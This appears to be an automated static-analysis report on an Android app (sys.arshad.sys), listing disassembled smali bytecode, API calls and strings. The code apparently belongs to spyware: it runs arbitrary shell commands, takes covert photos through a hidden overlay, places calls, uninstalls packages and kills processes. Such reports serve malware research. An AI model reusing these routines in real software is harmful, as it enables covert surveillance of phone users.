  • java.io.InputStreamReader.<init>
  • java.io.BufferedReader.<init>
  • java.io.BufferedReader.readLine
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuffer.append
  • java.lang.StringBuffer.toString
Strings
  • |L|n|
Position Instruction Meta Information
0new-instance v0, Ljava/lang/StringBuffer;
2invoke-direct {v0}, Ljava/lang/StringBuffer;-><init>()V
3try_start_5:
4invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
5move-result-object v1
7invoke-virtual {v1, p1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
8move-result-object v1
10invoke-virtual {v1}, Ljava/lang/Process;->waitFor()I
11new-instance v2, Ljava/io/BufferedReader;
12new-instance v3, Ljava/io/InputStreamReader;
14invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
15move-result-object v1
17invoke-direct {v3, v1}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
19invoke-direct {v2, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
21const-string v1, ""
22goto_20:
23invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
24move-result-object v1
25if-eqz v1, :cond_3e
26new-instance v3, Ljava/lang/StringBuilder;
28invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
30invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
31move-result-object v1
33const-string v3, "|L|n|"
35invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: |L|n|
36move-result-object v1
38invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
39move-result-object v1
41invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
42try_end_3c: goto/16 :goto_20
43catch_3d: move-exception v1
44cond_3e:
45invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
46move-result-object v0
47return-object v0
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.v
  • android.media.AudioManager.setRingerMode
  • sys.arshad.sys.MainActivity.getSystemService
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.v
  • android.media.AudioManager.setRingerMode
  • sys.arshad.sys.MainActivity.getSystemService
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.v
  • android.media.AudioManager.setRingerMode
Strings
  • audio
Position Instruction Meta Information
0const/4 v2, 0x2
1const/4 v1, 0x1
2try_start_2: iget v0, p0, Lsys/arshad/sys/MainActivity$b$32;->a:I
3if-nez v0, :cond_26
5iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
7iget-object v1, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
9iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
11iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
13const-string v2, "audio"
15invoke-virtual {v0, v2}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
16move-result-object v0
17check-cast v0, Landroid/media/AudioManager;
19invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/AudioManager;)Landroid/media/AudioManager;
21iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
23iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
25invoke-static {v0}, Lsys/arshad/sys/MainActivity;->v(Lsys/arshad/sys/MainActivity;)Landroid/media/AudioManager;
26move-result-object v0
27const/4 v1, 0x2
29invoke-virtual {v0, v1}, Landroid/media/AudioManager;->setRingerMode(I)V
  • Data flow analysis:
    • ringerMode: 2
30goto_25: return-void
31cond_26: iget v0, p0, Lsys/arshad/sys/MainActivity$b$32;->a:I
32if-ne v0, v1, :cond_4c
34iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
36iget-object v1, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
38iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
40iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
42const-string v2, "audio"
44invoke-virtual {v0, v2}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
45move-result-object v0
46check-cast v0, Landroid/media/AudioManager;
48invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/AudioManager;)Landroid/media/AudioManager;
50iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
52iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
54invoke-static {v0}, Lsys/arshad/sys/MainActivity;->v(Lsys/arshad/sys/MainActivity;)Landroid/media/AudioManager;
55move-result-object v0
56const/4 v1, 0x0
58invoke-virtual {v0, v1}, Landroid/media/AudioManager;->setRingerMode(I)V
  • Data flow analysis:
    • ringerMode: 0
59goto/16 :goto_25
60catch_4a: move-exception v0
61goto/16 :goto_25
62cond_4c: iget v0, p0, Lsys/arshad/sys/MainActivity$b$32;->a:I
63if-ne v0, v2, :cond_25
65iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
67iget-object v1, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
69iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
71iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
73const-string v2, "audio"
75invoke-virtual {v0, v2}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: audio
76move-result-object v0
77check-cast v0, Landroid/media/AudioManager;
79invoke-static {v1, v0}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/media/AudioManager;)Landroid/media/AudioManager;
81iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$32;->b:Lsys/arshad/sys/MainActivity$b;
83iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
85invoke-static {v0}, Lsys/arshad/sys/MainActivity;->v(Lsys/arshad/sys/MainActivity;)Landroid/media/AudioManager;
86move-result-object v0
87const/4 v1, 0x1
89invoke-virtual {v0, v1}, Landroid/media/AudioManager;->setRingerMode(I)V
  • Data flow analysis:
    • ringerMode: 1
90try_end_6f: goto/16 :goto_25
APIs
  • android.content.Intent.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.setData
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.support.v4.a.a.a
  • sys.arshad.sys.MainActivity.startActivity
Strings
  • android.intent.action.CALL
  • tel:
  • android.permission.CALL_PHONE
Position Instruction Meta Information
0try_start_0: new-instance v0, Landroid/content/Intent;
2const-string v1, "android.intent.action.CALL"
4invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.CALL
5new-instance v1, Ljava/lang/StringBuilder;
7invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
9const-string v2, "tel:"
11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: tel:
12move-result-object v1
14iget-object v2, p0, Lsys/arshad/sys/MainActivity$6;->a:Ljava/lang/String;
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
22invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
23move-result-object v1
25invoke-virtual {v0, v1}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
27iget-object v1, p0, Lsys/arshad/sys/MainActivity$6;->b:Lsys/arshad/sys/MainActivity;
29invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
30move-result-object v1
32const-string v2, "android.permission.CALL_PHONE"
34invoke-static {v1, v2}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.CALL_PHONE
35move-result v1
36if-eqz v1, :cond_31
37cond_31:
38iget-object v1, p0, Lsys/arshad/sys/MainActivity$6;->b:Lsys/arshad/sys/MainActivity;
40invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
41try_end_36: return-void
42catch_37: move-exception v0
43goto/16 :goto_36
APIs
  • sys.arshad.sys.MainActivity.o
  • android.hardware.Camera.open
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.p
  • android.hardware.Camera.getParameters
  • android.hardware.Camera$Parameters.setFlashMode
  • sys.arshad.sys.MainActivity.p
  • android.hardware.Camera.setParameters
  • sys.arshad.sys.MainActivity.p
  • android.hardware.Camera.startPreview
  • sys.arshad.sys.MainActivity.b
Strings
  • torch
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$8;->a:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5invoke-static {v0}, Lsys/arshad/sys/MainActivity;->o(Lsys/arshad/sys/MainActivity;)Z
6move-result v0
7if-nez v0, :cond_44
9iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$8;->a:Lsys/arshad/sys/MainActivity$b;
11iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
13invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
14move-result-object v1
16invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Landroid/hardware/Camera;)Landroid/hardware/Camera;
18iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$8;->a:Lsys/arshad/sys/MainActivity$b;
20iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
22invoke-static {v0}, Lsys/arshad/sys/MainActivity;->p(Lsys/arshad/sys/MainActivity;)Landroid/hardware/Camera;
23move-result-object v0
25invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
26move-result-object v0
28const-string v1, "torch"
30invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: torch
32iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$8;->a:Lsys/arshad/sys/MainActivity$b;
34iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
36invoke-static {v1}, Lsys/arshad/sys/MainActivity;->p(Lsys/arshad/sys/MainActivity;)Landroid/hardware/Camera;
37move-result-object v1
39invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
41iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$8;->a:Lsys/arshad/sys/MainActivity$b;
43iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
45invoke-static {v0}, Lsys/arshad/sys/MainActivity;->p(Lsys/arshad/sys/MainActivity;)Landroid/hardware/Camera;
46move-result-object v0
48invoke-virtual {v0}, Landroid/hardware/Camera;->startPreview()V
50iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$8;->a:Lsys/arshad/sys/MainActivity$b;
52iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
53const/4 v1, 0x1
55invoke-static {v0, v1}, Lsys/arshad/sys/MainActivity;->b(Lsys/arshad/sys/MainActivity;Z)Z
  • Data flow analysis:
    • p1: 1
56cond_44: return-void
57catch_45: move-exception v0
58goto/16 :goto_44
APIs
  • android.content.Intent.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getPackageName
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.setData
  • sys.arshad.sys.MainActivity.startActivity
Strings
  • android.intent.action.DELETE
  • package:
Position Instruction Meta Information
0try_start_0: new-instance v0, Landroid/content/Intent;
2const-string v1, "android.intent.action.DELETE"
4invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.DELETE
5new-instance v1, Ljava/lang/StringBuilder;
7invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
9const-string v2, "package:"
11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: package:
12move-result-object v1
14iget-object v2, p0, Lsys/arshad/sys/MainActivity$13;->a:Lsys/arshad/sys/MainActivity;
16invoke-virtual {v2}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
17move-result-object v2
19invoke-virtual {v2}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
20move-result-object v2
22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v1
25invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
26move-result-object v1
28invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
29move-result-object v1
31invoke-virtual {v0, v1}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
33iget-object v1, p0, Lsys/arshad/sys/MainActivity$13;->a:Lsys/arshad/sys/MainActivity;
35invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
36try_end_30: return-void
37catch_31: move-exception v0
38goto/16 :goto_30
Cross References
APIs
  • android.hardware.Camera.open
  • android.hardware.Camera.release
  • java.io.PrintStream.println
  • android.hardware.Camera.release
  • java.io.PrintStream.println
  • android.hardware.Camera.release
  • java.io.PrintStream.println
Strings
  • EO---->7
  • EO---->8
Position Instruction Meta Information
0try_start_0:
1invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
2move-result-object v0
3iput-object v0, p0, Lsys/arshad/sys/MainActivity;->aa:Landroid/hardware/Camera;
4try_end_6:
5iget-object v0, p0, Lsys/arshad/sys/MainActivity;->aa:Landroid/hardware/Camera;
6if-eqz v0, :cond_f
8iget-object v0, p0, Lsys/arshad/sys/MainActivity;->aa:Landroid/hardware/Camera;
10invoke-virtual {v0}, Landroid/hardware/Camera;->release()V
11cond_f:
12sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
14const-string v1, "EO---->7"
16invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->7
17const/4 v0, 0x0
18goto_17: return v0
19catch_18: move-exception v0
20try_start_19:
21sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
23const-string v1, "EO---->8"
25invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->8
26try_end_20: const/4 v0, 0x1
28iget-object v1, p0, Lsys/arshad/sys/MainActivity;->aa:Landroid/hardware/Camera;
29if-eqz v1, :cond_2a
31iget-object v1, p0, Lsys/arshad/sys/MainActivity;->aa:Landroid/hardware/Camera;
33invoke-virtual {v1}, Landroid/hardware/Camera;->release()V
34cond_2a:
35sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
37const-string v2, "EO---->7"
39invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->7
40goto/16 :goto_17
41catchall_32: move-exception v0
43iget-object v1, p0, Lsys/arshad/sys/MainActivity;->aa:Landroid/hardware/Camera;
44if-eqz v1, :cond_3c
46iget-object v1, p0, Lsys/arshad/sys/MainActivity;->aa:Landroid/hardware/Camera;
48invoke-virtual {v1}, Landroid/hardware/Camera;->release()V
49cond_3c:
50sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
52const-string v2, "EO---->7"
54invoke-virtual {v1, v2}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: EO---->7
55throw v0
Cross References
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • java.lang.Object.getClass
  • java.lang.Class.getName
  • java.lang.Class.forName
  • java.lang.Class.getDeclaredMethod
  • java.lang.reflect.Method.setAccessible
  • java.lang.reflect.Method.invoke
  • java.lang.Boolean.booleanValue
Strings
  • connectivity
  • getMobileDataEnabled
Position Instruction Meta Information
0const/4 v1, 0x0
2const-string v0, "connectivity"
4invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: connectivity
5move-result-object v0
6check-cast v0, Landroid/net/ConnectivityManager;
7try_start_9:
8invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
9move-result-object v2
11invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
12move-result-object v2
14invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
15move-result-object v2
17const-string v3, "getMobileDataEnabled"
18const/4 v4, 0x0
19new-array v4, v4, [Ljava/lang/Class;
21invoke-virtual {v2, v3, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
  • Data flow analysis:
    • p0: getMobileDataEnabled
22move-result-object v2
23const/4 v3, 0x1
25invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
  • Data flow analysis:
    • p0: 1
26const/4 v3, 0x0
27new-array v3, v3, [Ljava/lang/Object;
29invoke-virtual {v2, v0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
30move-result-object v0
31check-cast v0, Ljava/lang/Boolean;
33invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
34try_end_2e: move-result v0
35goto_2f: return v0
36catch_30: move-exception v0
37move v0, v1
38goto/16 :goto_2f
APIs
  • android.content.Intent.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.setData
  • sys.arshad.sys.MainActivity.startActivity
Strings
  • android.intent.action.DELETE
  • package:
Position Instruction Meta Information
0try_start_0: new-instance v0, Landroid/content/Intent;
2const-string v1, "android.intent.action.DELETE"
4invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.DELETE
5new-instance v1, Ljava/lang/StringBuilder;
7invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
9const-string v2, "package:"
11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: package:
12move-result-object v1
14iget-object v2, p0, Lsys/arshad/sys/MainActivity$14;->a:Ljava/lang/String;
16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
17move-result-object v1
19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v1
22invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
23move-result-object v1
25invoke-virtual {v0, v1}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
27iget-object v1, p0, Lsys/arshad/sys/MainActivity$14;->b:Lsys/arshad/sys/MainActivity;
29invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
30goto_28: return-void
31catch_29: move-exception v0
32goto/16 :goto_28
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • android.app.ActivityManager.getRunningAppProcesses
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.String.equals
  • android.app.ActivityManager.killBackgroundProcesses
Strings
  • activity
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$14;->b:Lsys/arshad/sys/MainActivity$b;
3iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
5const-string v1, "activity"
7invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: activity
8move-result-object v0
9check-cast v0, Landroid/app/ActivityManager;
11invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
12move-result-object v1
14invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
15move-result-object v2
16cond_14:
17invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
18move-result v1
19if-eqz v1, :cond_31
21invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
22move-result-object v1
23check-cast v1, Landroid/app/ActivityManager$RunningAppProcessInfo;
25iget-object v1, v1, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
27iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$14;->a:Ljava/lang/String;
29invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
30move-result v1
31if-eqz v1, :cond_14
33iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$14;->a:Ljava/lang/String;
35invoke-virtual {v0, v1}, Landroid/app/ActivityManager;->killBackgroundProcesses(Ljava/lang/String;)V
36try_end_2f: goto/16 :goto_14
37catch_30: move-exception v0
38cond_31: return-void
Cross References
APIs
  • android.view.SurfaceView.<init>
  • android.view.SurfaceView.getHolder
  • android.view.SurfaceHolder.setType
  • android.view.SurfaceHolder.addCallback
  • android.content.Context.getSystemService
  • android.view.WindowManager$LayoutParams.<init>
  • android.view.WindowManager.addView
Strings
  • window
Position Instruction Meta Information
0const/4 v1, 0x1
1const/4 v4, 0x0
2new-instance v7, Landroid/view/SurfaceView;
4invoke-direct {v7, p1}, Landroid/view/SurfaceView;-><init>(Landroid/content/Context;)V
6invoke-virtual {v7}, Landroid/view/SurfaceView;->getHolder()Landroid/view/SurfaceHolder;
7move-result-object v0
8const/4 v2, 0x3
10invoke-interface {v0, v2}, Landroid/view/SurfaceHolder;->setType(I)V
  • Data flow analysis:
    • p0: 3
11new-instance v2, Lsys/arshad/sys/PhotoTakingService$1;
13invoke-direct {v2, p0}, Lsys/arshad/sys/PhotoTakingService$1;-><init>(Lsys/arshad/sys/PhotoTakingService;)V
15invoke-interface {v0, v2}, Landroid/view/SurfaceHolder;->addCallback(Landroid/view/SurfaceHolder$Callback;)V
17const-string v0, "window"
19invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: window
20move-result-object v0
21move-object v6, v0
22check-cast v6, Landroid/view/WindowManager;
23new-instance v0, Landroid/view/WindowManager$LayoutParams;
24const/16 v3, 0x7d6
25move v2, v1
26move v5, v4
28invoke-direct/range {v0 .. v5}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
  • Data flow analysis:
    • p0: 1
    • p1: 1
    • p2: 2006
    • p3: 0
    • p4: 0
30invoke-interface {v6, v7, v0}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
31return-void
APIs
  • java.lang.String.replace
  • java.io.File.<init>
  • java.io.FileWriter.<init>
  • java.io.FileWriter.append
  • java.io.FileWriter.flush
  • java.io.FileWriter.close
Strings
  • |L|n|
  • \n
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$15;->a:Ljava/lang/String;
3const-string v1, "|L|n|"
5const-string v2, "\n"
7invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: |L|n|
    • p1: \n
8move-result-object v0
10iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$15;->b:Ljava/lang/String;
11try_start_c: new-instance v2, Ljava/io/File;
13invoke-direct {v2, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
14new-instance v1, Ljava/io/FileWriter;
16invoke-direct {v1, v2}, Ljava/io/FileWriter;-><init>(Ljava/io/File;)V
18invoke-virtual {v1, v0}, Ljava/io/FileWriter;->append(Ljava/lang/CharSequence;)Ljava/io/Writer;
20invoke-virtual {v1}, Ljava/io/FileWriter;->flush()V
22invoke-virtual {v1}, Ljava/io/FileWriter;->close()V
23try_end_1f: return-void
24catch_20: move-exception v0
25goto/16 :goto_1f
Cross References
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • sys.arshad.sys.MainActivity$b$a.<init>
  • android.content.IntentFilter.<init>
  • sys.arshad.sys.MainActivity.registerReceiver
  • android.net.wifi.WifiManager.startScan
Strings
  • wifi
  • android.net.wifi.SCAN_RESULTS
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
3const-string v1, "wifi"
5invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: wifi
6move-result-object v0
7check-cast v0, Landroid/net/wifi/WifiManager;
8iput-object v0, p0, Lsys/arshad/sys/MainActivity$b;->a:Landroid/net/wifi/WifiManager;
9new-instance v0, Lsys/arshad/sys/MainActivity$b$a;
11invoke-direct {v0, p0}, Lsys/arshad/sys/MainActivity$b$a;-><init>(Lsys/arshad/sys/MainActivity$b;)V
12iput-object v0, p0, Lsys/arshad/sys/MainActivity$b;->b:Lsys/arshad/sys/MainActivity$b$a;
14iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
16iget-object v1, p0, Lsys/arshad/sys/MainActivity$b;->b:Lsys/arshad/sys/MainActivity$b$a;
17new-instance v2, Landroid/content/IntentFilter;
19const-string v3, "android.net.wifi.SCAN_RESULTS"
21invoke-direct {v2, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.net.wifi.SCAN_RESULTS
23invoke-virtual {v0, v1, v2}, Lsys/arshad/sys/MainActivity;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
25iget-object v0, p0, Lsys/arshad/sys/MainActivity$b;->a:Landroid/net/wifi/WifiManager;
27invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->startScan()Z
28try_end_26: return-void
29catch_27: move-exception v0
30goto/16 :goto_26
APIs
  • sys.arshad.sys.MainActivity.openFileOutput
  • java.lang.String.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
Strings
  • odNotice.txt
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$5;->a:Lsys/arshad/sys/MainActivity;
3const-string v1, "odNotice.txt"
4const/4 v2, 0x0
6invoke-virtual {v0, v1, v2}, Lsys/arshad/sys/MainActivity;->openFileOutput(Ljava/lang/String;I)Ljava/io/FileOutputStream;
  • Data flow analysis:
    • p0: odNotice.txt
    • p1: 0
7move-result-object v0
9const-string v1, ""
11invoke-virtual {v1}, Ljava/lang/String;->toString()Ljava/lang/String;
12move-result-object v1
14invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
15move-result-object v1
17invoke-virtual {v0, v1}, Ljava/io/FileOutputStream;->write([B)V
19invoke-virtual {v0}, Ljava/io/FileOutputStream;->close()V
20try_end_19: return-void
21catch_1a: move-exception v0
22goto/16 :goto_19
23catch_1c: move-exception v0
24goto/16 :goto_19
Cross References
APIs
  • sys.arshad.sys.MainActivity.getSystemService
  • android.net.ConnectivityManager.getActiveNetworkInfo
  • android.net.NetworkInfo.getExtraInfo
Strings
  • connectivity
  • -1
Position Instruction Meta Information
0try_start_0:
1const-string v0, "connectivity"
3invoke-virtual {p0, v0}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: connectivity
4move-result-object v0
5check-cast v0, Landroid/net/ConnectivityManager;
